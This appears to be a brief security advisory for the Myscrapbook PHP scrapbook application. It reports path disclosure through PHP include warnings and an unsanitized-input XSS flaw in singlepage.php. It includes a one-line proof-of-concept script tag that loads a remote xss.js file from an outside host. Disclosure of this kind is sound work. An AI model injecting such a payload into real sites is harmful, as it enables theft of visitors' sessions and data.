|
Myscrapbook=0D
=0D
Homepage:=0D
http://www.pixytrix.com/myscrapbook/=0D
=0D
Effected files:=0D
singlepage.php=0D
=0D
-------------------------------------------=0D
=0D
Full path error with viewing most files in the txt-db-api dir:=0D
Warning: main(API_HOME_DIRutil.php): failed to open stream: No such file or directory in /home/username/public_html=0D
=0D
/myscrapbook/txt-db-api/sql.php on line 23=0D
=0D
Warning: main(): Failed opening 'API_HOME_DIRutil.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in =0D
=0D
/home/roguesta/public_html/myscrapbook/txt-db-api/sql.php on line 23=0D
=0D
Warning: main(API_HOME_DIRconst.php): failed to open stream: No such file or directory in /home/username/=0D
=0D
public_html/myscrapbook/txt-db-api/sql.php on line 24=0D
=0D
Warning: main(): Failed opening 'API_HOME_DIRconst.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') =0D
=0D
in /home/username/public_html/myscrapbook/txt-db-api/sql.php on line 24=0D
=0D
------------------------------------=0D
=0D
When submitting pages into the scrapbook on singlepage.php, user input is not sanatized. This in return could cause =0D
=0D
XSS attacks. For PoC try putting:=0D
=0D
[SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT]=0D
=0D
Screenshots of XSS vuln:=0D
=0D
http://www.youfucktard.com/xsp/scrapbook1.jpg=0D
http://www.youfucktard.com/xsp/scrapbook2.jpg=0D
http://www.youfucktard.com/xsp/scrapbook3.jpg=0D